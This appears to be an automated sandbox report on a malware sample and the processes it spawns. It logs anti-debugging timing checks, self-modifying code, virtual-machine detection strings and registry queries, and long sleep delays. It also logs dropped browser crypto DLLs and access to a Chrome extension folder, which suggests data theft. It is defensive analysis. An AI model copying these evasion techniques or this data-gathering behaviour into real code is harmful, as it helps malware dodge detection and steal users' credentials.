Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AC0973 second address: 4AC09AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB168B06459h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007FB168B0644Eh 0x0000000f xchg eax, edi 0x00000010 pushad 0x00000011 mov edx, esi 0x00000013 push esi 0x00000014 mov cl, dh 0x00000016 pop esi 0x00000017 popad 0x00000018 push eax 0x00000019 pushad 0x0000001a push ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AC09AD second address: 4AC09C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 movzx eax, bx 0x00000008 popad 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB16943CC9Eh 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AC09C7 second address: 4AC09F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB168B0644Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [76FBB370h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FB168B06455h 0x00000015 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Special instruction interceptor: First address: 10DE41D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: BFE41D instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe

Code function: 6_2_04B10C32 rdtsc

6_2_04B10C32

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 694	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 7877	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 2122	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: foregroundWindowGot 427	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 1115	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 393	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 1150	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Window / User API: threadDelayed 1301	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 6896	Thread sleep count: 694 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7624	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7620	Thread sleep count: 1115 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7620	Thread sleep time: -2231115s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7568	Thread sleep count: 393 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7568	Thread sleep time: -11790000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7872	Thread sleep time: -540000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7616	Thread sleep count: 1150 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7616	Thread sleep time: -2301150s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe TID: 7928	Thread sleep count: 1301 > 30	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C60C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C60C930

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 2012 Server Standard without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: #Windows 10 Microsoft Hyper-V Server
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Microsoft Hyper-V Server
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 2016 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.1869262770.0000000001E3D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: (Windows 2012 R2 Microsoft Hyper-V Server
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 6Windows 2012 R2 Server Standard without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: vmci.sys
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 0Windows 8 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 6Windows 8.1 Essential Server Solutions without Hyper-V
Source: 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: vmware
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V
Source: 2e80f9dd27.exe, 0000000C.00000002.1994535395.00000000018B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware9%
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (full)
Source: Amcache.hve.4.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.4.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.4.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: "Windows 8 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (full)
Source: explorti.exe, explorti.exe, 0000000B.00000002.1965731358.0000000000B58000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (full)
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual USB Mouse
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Microsoft Hyper-V Server
Source: Amcache.hve.4.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Essential Server Solutions without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Hyper-V (guest)
Source: Amcache.hve.4.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Essential Server Solutions without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Microsoft Hyper-V Server
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.4.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000E6C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000E6C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000E6C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000E6C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.1868074947.0000000000E6C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000E6C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: /Windows 2012 R2 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: )Windows 8 Server Standard without Hyper-V
Source: KKKJKEBKFC.exe, 00000006.00000002.1924216229.0000000001038000.00000040.00000001.01000000.00000009.sdmp, explorti.exe, 0000000A.00000002.4123102113.0000000000B58000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 0000000B.00000002.1965731358.0000000000B58000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (full)
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: %Windows 2012 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Hyper-V
Source: Amcache.hve.4.dr	Binary or memory string: VMware
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: $Windows 8.1 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ,Windows 2012 Server Standard without Hyper-V
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Microsoft Hyper-V Server
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (core)
